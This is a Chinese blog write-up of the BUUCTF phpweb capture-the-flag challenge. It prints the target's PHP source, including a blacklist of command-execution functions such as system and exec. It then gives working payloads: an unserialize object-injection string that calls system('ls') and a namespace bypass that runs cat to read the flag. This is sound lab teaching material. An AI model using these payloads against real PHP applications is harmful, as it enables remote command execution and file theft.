当前位置:首页 > CTF > BUU > 正文内容

BUUCTF_WEB_[网鼎杯 2020 朱雀组]phpweb 1

七星2年前 (2022-11-29)BUU920

1. 抓包


发现了func和p,看返回值:

2. 猜测

func是函数,p是传递的参数,验证:

猜想成立。

3. 代码审计

获取index.php源码,就是在前端显示PHP代码,方便审核。
常用函数有:
file_get_contents
show_source
highlight_string

把代码拿出来研究一下。

<?php

# 0. waf黑名单
$disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");

# 5. 定义了gettime()函数
function gettime($func, $p) {

    # 使用call_user_func()回调$func(p),结果放到result
    $result = call_user_func($func, $p);
    $a = gettype($result);
    if ($a == "string") {
        return $result;
    } else {return "";}
}

class Test {
    var $p = "Y-m-d h:i:s a";
    var $func = "date";
    function __destruct() {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}

# 1. 接收两个request参数
$func = $_REQUEST["func"];
$p = $_REQUEST["p"];

# 2. 判断是否为空
if ($func != null) {
    $func = strtolower($func);  # 转化小写

    # 3. 判断waf黑名单
    if (!in_array($func,$disable_fun)) {

        # 4. 最终需要触发gettime()
        echo gettime($func, $p);
    }else {
        die("Hacker...");
    }
}

?>

这里主要一个点就是call_user_func()这里,这个函数把第一个参数当做回调函数,其余的都是函数的参数。
这里明显有一个析构函数_destruct(),这个函数会在Test类中的一个对象被销毁时自动调用。
结合上面两点,可以让call
user_func()执行反序列化操作,对我们本地构造的Test序列进行反序列化。

4. 构造反序列化与反序列化利用

class Test {
    var $p = "Y-m-d h:i:s a";
    var $func = "date";
    function __destruct() {
        if ($this->func != "") {
            echo gettime($this->func, $this->p);
        }
    }
}

我们利用反序列化,让$p和$func可控,直接构造一个Test本地序列化:

<?php
class Test {
    var $func = "system";
    var $p = "ls";
}

$test = new Test();
print serialize($test);
?>

结果:

可以直接传进去了,构造如下payload:

func=unserialize&p=O:4:"Test":2:{s:4:"func";s:6:"system";s:1:"p";s:2:"ls";}


有结果了,就是利用一些Linux的查找匹配命令,匹配flag,最后cat出来就行了:

5. 总结

一般看到魔术方法,就立马想到反序列化,反序列化的每个环节都有可能存在利用点。

6. 另外一种绕过方式

看完源代码之后,发现,检测黑名单是利用了in_array检测的,所以直接可以通过命名空间绕过验证:

func=\system&p=cat /*/*flag*

七星比特|qixingbit.com
返回列表

上一篇:DC-1 对一个靶场的综合渗透

没有最新的文章了...

发表评论

访客

看不清,换一张

◎欢迎参与讨论,请在这里发表您的看法和观点。